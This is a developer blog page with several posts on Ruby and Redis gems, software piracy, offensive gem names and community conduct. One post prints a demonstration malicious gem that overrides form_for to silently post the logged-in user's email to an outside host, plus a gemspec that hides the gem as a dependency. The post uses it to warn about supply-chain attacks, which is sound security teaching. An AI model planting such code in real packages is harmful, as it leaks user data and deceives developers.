A Developer with a Pencil

Me and Redis Are Now Friends

During one of our latest project over @ ShinobiDevs we needed some way to represent some kind of a friendship status between the app’s user. The feature spec’d was more like Facebook’s request mechanism:

  • User can send friend requests to other users.
  • Other User needs to accept the friend request.
  • Current friends, pending requests and sent invitations are all visible tol the current user.

Pretty simple.

After a few days of hard work and lonely nights implementing this feature in the client’s app - we decided to release this functionality as a rails gem, so here is Friendis.

Friendis (a lame combination of Friends and Redis) is based on the Implement a social graph example from the Redis Cookbook and relies on the amazing abilities of Redis to manage the friends lists, requests and pending invitations.

Installation

Add this line to your application’s Gemfile:

gem 'friendis'

And then execute:

$ bundle

Or install it yourself as:

$ gem install friendis

Usage

Configuration

create an initializer in config/initializers/friendis.rb:

Friendis.configure do |c|
  #...
end

The following options exist:

  • redis_connection: an existing Redis connection, defaults to a Redis.new instance.

Adding to a Model

All you need to do is to include the Friendable module:

include Friendis::Friendable

and to choose which attributes or methods will be cached in Redis for that user:

friend_this track: [:name, :picture]

Those fields will be changed in Redis after everytime you save the instance, note that your ORM needs to implement after_save and after_destroy since Friendis utilizes those callbacks to update and remove the cached data from Redis.

The id attribute will automatically be cached.

Examples

class User < ActiveRecord::Base
  include Friendis::Friendable

  friend_this track: [:name, :picture]
end 

Friend Requests

@user1 = User.create(name: "Elad Meidar", picture: "http://picturez.com/elad.jpg")
@user2 = User.create(name: "Miki Bergin", picture: "http://picturez.com/miki.jpg")

@user1.send_friend_request(@user2)

Pending Friend Requests

@user2.pending_friend_requests

pending_friend_requests will return the cached attributes for the pending friend requests, in this case

[{"name" => "Elad Meidar", "picture" => "http://picturez.com/elad.jpg", "id" => 1}]

Sent Friend Requests

@user2.sent_friend_requests

sent_friend_requests will return the cached attributes for the sent friend requests, in this case

[{"name" => "Miki Bergin", "picture" => "http://picturez.com/miki.jpg", "id" => 2}]

Approving Friend Requests

@user2.approve_friend_request(@user1)

Lisiting Friends

@user1.friends

friends will return the cached attributes of the currently approved friends, in this case

[{"name" => "Miki Bergin", "picture" => "http://picturez.com/miki.jpg", "id" => 2}] 

Check Friendship

@user1.is_friends_with?(@user2) #=> true
@user1.is_friends_with?(@user3) #=> false

Unfriend

@user1.unfriend(@user2)

Contributing and Source Code

As always, Pull requests and forks are always welcome over @ Github

Pirating Breaks My Heart

Being a software developer is a fun thing to do, right?

You get to create cool apps, contribute to opensource and over be a modern De Vinci - even if only in your own mind.

But it’s not all fun and games - Just like a painting artist, a sculpture, a singer or a band you put in a lot of effort in creating your art and your code and everyone knows how good it is that people appreciate your work and show it (paying is great, but forks and open source contributions are awesome as well).

This is why I don’t get people that work in this industry and download software, music or movies illegaly.

This post comes after reading a few articles about a certain open sourced MacOS app that allows you to watch movies straight off torrents, described and praised as “Netflix Killer”.

I am not going to use the name of this app here because I don’t want to be even slightly responsible to even one single download of this thing.

This app and its website were taken down by authorities a few times and it just came back up like most of those shitty ripoffs tend to stay alive. But now, I learned about it from My facebook feed - it seems that one (maybe the only) author of this app is a developer in one of the most recently highly Israeli based Startups. He praised the fact that Hollywood “Can’t catch him” and he’ll “be happy to see who wins”.

You know? that’s just lame.

You are a developer, you create software for a living (i doubt the quality, but still) - you are a member of a respctful company and this is what you do? steal from others? what would you say if one of the 1000s of 1000s of far east based web-app-duplicator is going to steal your own_ code? you’d scream and cry like a baby. I guess it’s easier to steal from others, not so nice when someone steals from you.

I can’t grasp the fact that web developers feel it is ok to steal someone else’s work. During my time @ Fiverr.com we got to see about 50 clones (sites that look and act like Fiverr) per day, this was beyond annoying and grew even more after we found out that sometimes they just copied the Fiverr source code off the browsers. Yap, my own HTML comments were on at least 100 clones.

The point is, why would you steal another (wo)man’s work? I’ve pinged this question around the interwebs and got a few possibly reasonable reasons:

  • “NetFlix is not available in my country”

Not a reason to steal, sorry. Spoof your location and get Netflix like responsible adults do.

  • “But games cost a shitload in Israel!”

So does a Ferrari. Not a reason to steal, sorry.

STEALING IS STEALING no matter how you put it, if you get something you should have paid for without paying for it - you suck.

I think that developers, whom I consider as artists no less than musicians or painters, should pay the respect for other people’s work and products. In ShinobiDevs we do not pirate software, we buy everything with good, hard earned money and we do not support pirated software or any kind of theft that disrespects our very own profession and ourselves.

In conclusion, That kind of people disgusts me. If he or any of his “colleagues” was working in ShinobiDevs, he would have been fired on the spot - I hope his employers will find it as the right to do it as well. Someone who has no respect for laws, rules and proper professional curtesy should have no place in this industry.

Thinking About Ruby Gems Security

Installing a gem allows that gem’s code to run in the context of your application. Clearly this has security implications: installing a malicious gem on a server could ultimately result in that server being completely penetrated by the gem’s author. Because of this, the security of gem code is a topic of active discussion within the Ruby community. Rubygems.org documentation

It should be obvious to everyone that when you install a gem you don’t know, never used or had a look at its source code - it could be a bad idea.

What could go wrong?

The other day I was looking for a bootstrap date picker solution and found this bootstrap-datepicker.js and comfortably, a gem that wraps this neat little script.

After installing this gem, I started thinking about how easily I believed this gem is related to the bootstrap plugin and how fast I added it to the project’s Gemfile.

What if it wasn’t doing what it is supposed to do, but just an eye catching name for a melicious code?

Introducing - bootstrap_buttons (Please, do not install this gem)

Meet bootstrap_buttons - an evil gem dressed as a pretty addon for Bootstrap. In short what this gem does as you can see here is overriding your form_for method and adds a bit of evil sauce to it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
module BootstrapButtons
  module FormGrabber

    # Patch form_for to be evil
    def form_for(record, options = {}, &block)
      steal_identity
      super
    end

    protected

    # hidden evil method that posts your session and cookies somewhere
    def steal_identity
      begin
        HTTParty.post("http://bootstrap-buttons.herokuapp.com/users.json", body: { user: {email: current_user.email}})
      rescue

      end
    end
  end
end

ActionView::Base.send :include BootstrapButtons::FormGrabber

Long story short - it will send the current logged in user’s email address to http://bootstrap-buttons.herokuapp.com and then continue to genereate your form like nothing evil happened.

How is this dangerous?

Aside from the fact that single look at this gem will reveal its true evil identity - what happens if someone installs this gem without paying attention to it? (as in, being a dependency for a bigger spoofed bootstrap bundle):

bootstrap_extensions.gemspec
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'bootstrap_extensions/version'

Gem::Specification.new do |spec|
  spec.name          = "bootstrap_extensions"
  spec.version       = BootstrapExtensions::VERSION
  spec.authors       = ["I am not evil"]
  spec.email         = ["elad@no-still-not-evil.com"]
  spec.description   = "LIE - An awesome collection of bootstap addons"
  spec.summary       = "Cool gem - install it!"
  spec.homepage      = ""
  spec.license       = "MIT"

  spec.files         = `git ls-files`.split($/)
  spec.executables   = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
  spec.test_files    = spec.files.grep(%r{^(test|spec|features)/})
  spec.require_paths = ["lib"]

  spec.add_development_dependency "bundler", "~> 1.3"
  spec.add_development_dependency "rake"
  spec.add_dependency 'bootstrap-colorpicker-rails' # This is legit
  spec.add_dependency 'bootstrap-datepicker-rails'  # so as this one
  spec.add_dependency 'bootstrap_buttons'           # Holy shit this one is evil!!
end

First two add_dependency lines are cool - those are legitimate bootstrap extensions gems - wrapped as rails engines to allow easy integration in rails apps.

You see bootstrap_buttons hiding there? seems legit right? it will still post your user’s email address to the remote host.

What to do?

Well, just like in any of the other options suggested by the Ruby community to improve gem security and trust - there is no silver bullet. A blind trust is not a good thing unless you absolutely know what you are using and when it is coming from (a.k.a “your own code”).

Installing OS code into your application needs a little touch of Paranoia, there is no need to go over all the code you’ll ever add to your app - but a skim browsing over it could be a nice precaution

Few pointers

While skimming through gem could, the following flags should rise your suspicion a bit.

  1. Using HTTP interface that is not part of the gem. (You would expect an API library to use HTTP requests - but not one that is supposed to add some neat themes)
  2. If this is a Rails engine, read the javascript files. There is nothing better for an evil hacker than the ability to insert free rolling javascript in your code.
  3. Session access. Gems that access your session should be investigate more thoroughly

More on gems security

  1. The Rubygems.org piece on security
  2. A bit on the problems with Gem signing
  3. And how signing is actually being done

Offending Gem Names - Drawing the Line

In my “Being an asshole does not make you awesome” post I listed a few gems that caused some interesting discussions on Twitter.

Following those discussions (with the awesome Rein Henrichs and Jan Lehnardt) I felt the need to clarify most specifically what is wrong with some of the gem names. While some gem names seem completely innocent - It is important to remember a few things in mind

  1. This is a global community, always consider that the other side is not as good with the english language as you are.
  2. Being creative is by all means not a reason to dismiss groups, genders or anything else.
  3. Gem names should be descriptive and be related to what the gem or code is all about.
  4. README files don’t matter. Yes, they are important - but sometimes hearing the name is more than enough.

Drawing the line

So, where does this line strike? no immediate answer. Taking the “hoe” gem for example - it is a great gem that everyone uses and its name is actually a gardening tool - perfect match to the gem’s reference as a Rake (also a gardening tool) accessory.

Yes, “hoe” is a legitimate name in that case - but for people outside the world of native english speakers the immediate meaning when heard, is as a reference to a prostitue.

Again, yes - it is a legitimate name. But there are 200 other gardening tools and nouns related to “Rake” that don’t have the problem of double meaning, and in some circles - an immediate offending translation. Investing a bit more time in choosing a better name would probably be a better option that would have resolved this issue before it even existed.

Choosing the “hoe” gem for that post seemed very odd for some people but the reason behind it was not to dismiss that gem, its authors or its users, just to point out where people that don’t have the entire english gardening jargon in their minds, could probably be offended.

Under the same hood, the “Therapist” gem falls under the same fault. It is supposed to handle Github issues more easily, hence the Therapist reference. Some may read it “The Rapist” - which is not a good thing, but again I assume it is only relevant to non native speakers.

Conclusion

The purpose of that post was to put some focus on the possibly offending gem names around - and to bring the attention of the people that build, maintain and use these gems sometimes without giving the proper minimum attention required to resolve these issues. While some gem names are completely unacceptable in every aspect like “rape-me” and “bitch”, others like “hoe” just needs a little tweak - if only just to dismiss the double meaning issue.

We should be more caring to others in this community, doing open source is awesome all over, but being a valuable member of this community should also include being respectful and thoughtfull in our toolbelts.

No More Fiverr, Please

Due to recent events in the so called relationship between me and Fiverr.com - my recent employer, I am forced to remove and cease any connection between me and this company including online social connentions, communications and affiliation.

I choose to do so because I am recluctant to proceed in this ongoing saga that in my belief, is aimed to dishonor the good men and women that put in a huge effort, their blood and their sweat, to make this idea come to life and to what it is today.

I wish all the Fiverr employees and the company itself a huge success in the future, i just don’t want to hear about them or know they exist ever again.

Being an Asshole Does Not Make You Awesome

Don’t be an asshole. period.

Being an asshole comes in all different shapes and sizes, in the tech community is it usually comes in the forms of being a bully to newcomers or being abusive towards women.

The latter one seems to be bothering the Rails and Ruby community a lot less than the first one, I have seen in several occasions people coming to the help of a new comer when someone thought it was cool to bring him down and make fun of him online (#rubyonrails on irc.freenode.net) while the phenomenon of degrading women is hardly addressed as a community.

A few years ago - Matt Almonetti decided that it is a good idea to name his CouchDb and Rails presentation as “CouchDB and Ruby - Perform like a porn star” - an act that led to the initial foundation of the Railsbridge group and eventually the RailsGirls movement (which is awesome btw). This specific event was the only time someone reacted to the fact that women are generally treated differently in the Rails / Ruby world and the first time a Community wide action took place.

The no-asshole policy started to kick in, or so I thought.

Yesterday there has been a vivid discussion in Twitter regarding a case of sexual harrasement that happened during one of the Ruby conferences last year in January (I will not link names or tweets until I know what is going on for real) that lead me to think about this whole issue - what are we REALLY doing to make women feel welcome in our community.

The answer is, not much. RailsGirls are doing an awesome job in bringing women into this overall wonderful community, but it is not enough - we need to pay attention to the stuff that makes us such a great community overall to new comers and men, and make it appealing for women too.

What is missing you ask? I think that there is no consideration in women when it comes to gem naming convention, here are a few gems that i found in a 5 mintues search on Rubygems.org to demonstrate why women and other groups probably feel uncomfortable when trying to get into the Rails community:

While some of you may think this is a righteous callout - I think that as a community we need to strive to be as appealing as possible, there is nothing cool about naming your gem “fuck” or “retarded” and we as a community - need to stop this from happening as much as we can.

In my opinion there is no immediate solution, only ones that are community driven and are accepted as standard. Some of the gems i specified above have more than 20,000 downloads, that’s 20,000 people that didn’t care. it should be different.

A proper suggestion but may be a non-realistic one is that Rubygems.org will refuse to accept gem pushes that uses offensive naming conventions - while this is a harsh move - It will show that a major, if not the most important one in the Rails and Ruby world is showing that it cares making the rest of us follow by example.

An Update

Obviously, i took the liberty of linking to this post in Facebook and Twitter. Almost all of the responses I got were great from people that agree with the idea and pain behind this post…

but this guy is something else.

I posted on the Ruby group on facebook.

This guy Aaron, is the admin. Take a look at the lowest level of people you can find in this industry.

It Is Time to Stop Using Acts_as_taggable

Have you ever added a tagging functionality to your Rails application? Then you have probably used either the acts_as_taggable gem, or its younger brother the acts_as_taggable_on gem.

These two gems are great, but they have some drawbacks that were unavoidable during the time of creation. Both of these gems rely on an RDBMS database that generally looks like this:

Tagging, RDBMS style

ActAsTaggable in all of its generations - was based on this model schema:

  • a Tags table that held the information about a specific tag (Basically, only the tag name)
  • a Taggings table, that held polymorphic associations references to the tagged instance (taggable) and the tagger instace (tagger).

So basically, when you wanted to get a tag list for some kind of a taggable instance or to see all the tags a tagger had made, you’d have to JOIN those 2 tables together. always.

Now, joining isn’t really bad - it is there for a reason - but it could be one of some serious issues arising from this schema in certain circumstances.

1. JOINing tables from different servers

What happens when you have 10M tags and 40M taggings? your MySQL / Postgres / You-name-it-db needs some kind of an extended server setup that includes more than one instance of your db server, and if you are splitting the data - you might want to split your data and JOIN between 2 database servers.

Yes, it is possible, MySQL supports the Federated Storage Engine that allows you to join and share query information between 2 or more servers, MSSQL has the linked-servers feature that is very similar to that and some of the other databases have it. The problem with this feature is that is far from being easy and simple to setup or maintain so by default if you are have a lot of tags or tagging and you want to add some sharding to the party, you are in a jiffy.

2. Indexing polymorphic association columns

Although these gems provide the necessery indices as part of the migration generator template, the fact that polymorphic association in Rails is composed out of a string (taggable_type) and an integer (taggable_id) is making the index’s diversity ratio rather low - meaning there are too many similar grouped entries in the index.

3. Autocomplete

Back to the 10M tags in the table example. Providing an autocomplete engine for this size of a table is horrific. You’ll have to use some kind of a full text engine like Solr or ElasticSearch to provide matching tags in real time.

4. Uniquness of tag name

How do you know if you create a newly provided tag or if you need to add tagging to an existing one? you first have to find if the tag exists already. 10M tags? good luck. Again, a full text search engine will provide a decent solution to this problem.

The solution: Redis

I love Redis. When it fits, it sits. If you are using Redis superpowers when you need to use them - it is an awesome tool. Redis provides several value types, each of them has it’s own superpower aimed for a specific problem - SET being the one we chose.

Storing tags in Redis for easy access

Redis Sets are basically arrays with unique members, for the following example we will use User as the tagger class, and Photo as the tagged class. Noticed there aren’t Tag or Tagging classes? We don’t need them anymore.

When User with ID 10 is tagging the Photo with ID 9 with the tag “Dog” we simply create a bunch of Redis sets that will allow easy access to any slice of data we might need:

Storing tags in redis
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Add specific tagging of photo by a user
$redis.sadd "user:10:photo:9:tags", "dog"

# Add to photo specific tag set
$redis.sadd "photo:9:tags", "dog"

# Add a list of tagged photos to a tag set
$redis.sadd "tag:dog:photos", 9

# a list of photos tagged by a specific user
$redis.sadd "user:10:tagged_photos", 9

# Increase the usage counter for the "dog" tag

$redis.inc "tagged_by:dog"

Now we can have simple accessors to this information, for example:

photo.rb
1
2
3
4
5
6
7
class Photo

  # Get tags
  def tags
    $redis.smembers "photos:#{self.id}:tags"
  end
end

or for the Tag class:

tag.rb
1
2
3
4
5
class Tag
  def tagged_photo_ids
    $redis.smembers "tag:#{self.name}:photos"
  end
end

Generally, this is just an outline with a single rule - Normalize your data - instead of doing complicated join queries use a simple namespaced key value access to your data.

Ok, no joins. what about autocomplete?

Autocomplete is a PITA, but by using redis - We can maintain a list of your tag prefixes as keys to tags lists, for example the tag “liverpool” will be broken in to smaller pieces:

autocomplete.rb
1
2
3
4
5
6
7
$redis.add "tags:start_with:liv", "liverpool"
$redis.add "tags:start_with:live", "liverpool"
$redis.add "tags:start_with:liver", "liverpool"
$redis.add "tags:start_with:liverp", "liverpool"
$redis.add "tags:start_with:liverpo", "liverpool"
$redis.add "tags:start_with:liverpoo", "liverpool"
$redis.add "tags:start_with:liverpool", "liverpool"

This breakdown will allow us to easily access the list of tags (3 letters and up):

tag.rb
1
2
3
4
5
6
7
8
class Tag
  ...
  def Tag.tags_starting_with(tag_starts_with = "")
    $redis.smembers "tags:start_with:#{tag_starts_with}"
  end
end

Tag.tags_starting_with("liver") # => ["liver", "liverpool", "liverani",...]

Intersections!

Redis can provide an intersection between 2 sets, meaning you can “merge” between 2 sets and find either the indentical or different elements in both sets.

For example - if we would like to know which photos are tagged by both “dog” and “cat” will intersect those 2 sets.

intersection
1
$redis.sinter "tag:cat:photos", "tag:dog:photos" # => [12,93,94, ...]

Conslusion

Again, this is just an outline. There are many improvements to be added but we at ShinobiDevs are working on releasing a gem that could do just that - ideas are welcome. Redis is a powerfull tool, there is probably no need to store the tagged data in an RDBMS structure but to find a better one maybe just like the one suggested above.

Rails Bugmash in Israel

Last week, in August 30 - We held a Rails hunt & destroy bugmash in Israel with the unbelieveable courtesy of Ebay Innovation Center in Israel.

This bugmash was born as a result of a discussion in the Israeli Rails group and lead to an amazing event, About 40+ members of the Israeli Rails developers community, including awesome people from Google/Waze, Simplee, Fiverr, Scoreoid and a lot more freelancers and Rails lovers gathered in the Ebay innvation center in Israel at 9:00am (Yes, early as fuck) to hunt down some Rails bugs.

During this day, we used a special application we developed to allow people to choose and take ownership on Rails github issues - which resulted in 15 pull-requests and 1 merge to master so far.

It was an amazing event, that showed the power of the Israeli Rails community - and although we weren’t successful in finding a Rails core member willing to help us online - We managed to get something out of this day. A list of solved bugs and a wonderful day to Open Source.

I would like to thank the awesome guys (and girl) @ the Ebay innovation center, on crafting this event, getting us a south american mean buffet and providing us with an amazing office workspace that helped us achieve this wonderful result - I hope it wasn’t the last time that we are doing it.

You can read more on the Ebay innovation center blog post and see us in action in these pictures.

Hoping to see more of you there next time!

Joining AppsScrolls!

In the last couple of weeks I needed to boot up some new rails apps, all of them had the same skeleton structure including Devise, Bootstrap, RSpec and so on.

I remembered that there was an attempt to tackle this repetitive skeleton app generation process by Michael Bleigh’s RailsWizard so I pinged Intridea on Twitter and asked what was the status of it.

It seemed that RailsWizard isn’t maintained for a long time, but Dr Nic took over it a while ago and formed AppScrolls.

After a short conversation he happily added me to the contributors list so now I am a very proud co-maintainer of a very awesome gem.

Currently the plans are to add some missing scrolls, such as some mongo adapters and some testing frameworks. Hit me up if you are missing something - or even better, fork and pull-request.

Simple and Easy Getter for Your Models

Here is a little trick we use at ShinobiDevs when we need a quick getter method in our models.

We simply extend our models with a double brackets method, just like a Hash or an Array:

user.rb
1
2
3
4
5
class User < ActiveRecord::Base
  def self.[](id)
    self.where(id: id).first
  end
end

And use it:

1
2
3
4
5
eladmeidar@Elads-MacBook-Pro:~/projects/dummy (master *)$ rails c
Loading development environment (Rails 4.0.0)
[1] pry(main)> User[1]
  User Load (7.9ms)  SELECT `users`.* FROM `users` WHERE `users`.`id` = 1 LIMIT 1
=> #<User id: 1, email: "elad@testing.com"......>

Simple!

Some more use cases

As many people suggested, there is no real difference between using User.find(id) and User[id]. A much better use is to bind this getter to an attribute that isn’t the primary key for that model, for example - username

user.rb
1
2
3
4
5
class User < ActiveRecord::Base
  def self.[](username)
    self.where(username: username).first
  end
end

It is also a reasonable idea to use it with other finder methods:

user.rb
1
2
3
4
5
6
7
class User < ActiveRecord::Base

  # Grab the latest x users, specified by the limit parameter
  def self.[](limit)
    self.limit(limit).order("id DESC")
  end
end

This concept is aimed to provide a shorter syntax for a quick, common getter - I wouldn’t recommend doing something utterly clobbered in this method (conditionals and switches for example).